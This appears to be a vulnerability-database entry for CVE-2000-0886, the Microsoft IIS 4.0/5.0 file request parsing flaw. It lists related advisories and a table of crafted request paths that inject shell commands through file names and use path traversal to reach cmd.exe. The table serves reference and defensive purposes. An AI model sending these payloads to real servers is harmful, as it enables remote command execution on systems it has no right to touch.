| Reporter | Title | Published | Views | Family All 7 |
|---|---|---|---|---|
 | CVE-2000-0886 | 22 Jan 200105:00 | – | cvelist |
 | Microsoft IIS 4.0/5.0 - Executable File Parsing | 6 Nov 200000:00 | – | exploitdb |
 | CVE-2000-0886 | 19 Dec 200005:00 | – | nvd |
 | CVE-2000-0886: Undefined Security Weakness | 19 Dec 200000:00 | – | rapid7 |
 | NSFOCUS SA2000-07 : Microsoft IIS 4.0/5.0 CGI File Name Inspection Vulnerability | 8 Nov 200000:00 | – | securityvulns |
| [Update] NSFOCUS SA2000-07: Microsoft IIS 4.0/5.0 CGI File Name Inspection Vulnerability | 24 Nov 200000:00 | – | securityvulns |
 | MS00-086: Webserver file request parsing (277873) | 12 Mar 200100:00 | – | nessus |
Node
| Parameter | Position | Path | Description | CWE |
|---|---|---|---|---|
| path | path | /scripts/file.bat"+&+dir+c:/+.exe | Remote command execution via crafted request for an executable file by appending OS commands to the filename (IIS Web Server File Request Parsing). | CWE-77 |
| path | path | /scripts/file.bat"+&+dir+c:/+.com | Remote command execution via crafted request for an executable file by appending OS commands to the filename (IIS Web Server File Request Parsing). | CWE-77 |
| path | path | /scripts/file.bat"+&+dir+c:/+.exe | Remote command execution via crafted request for an executable file by appending OS commands to the filename (IIS Web Server File Request Parsing). | CWE-77 |
| dir | query param | /scripts/a.bat"+".exe?+&+dir | Remote command execution via crafted request with a query parameter used to trigger OS command execution. | CWE-77 |
| dir | path | /scripts/..%c1%1c../..%c1%1c../mssql7/install/pubtext.bat"+&+dir | Path traversal to reach an executable file for command execution; uses dir parameter to influence commands. | CWE-77 |
| path | path | /scripts/file.bat/..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c%20dir%20C: | Path traversal leading to cmd.exe with /c dir C:, enabling OS command execution. | CWE-77 |
| path | path | /scripts/georgi.asp/..%C1%9C..%C1%9C..%C1%9Cfile.ext | Path traversal attempt to reach a shell or command execution context. | CWE-77 |
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
23 Sep 2026 10:10Current
7.6High risk
Vulners AI Score7.6
CVSS 27.5
EPSS0.68742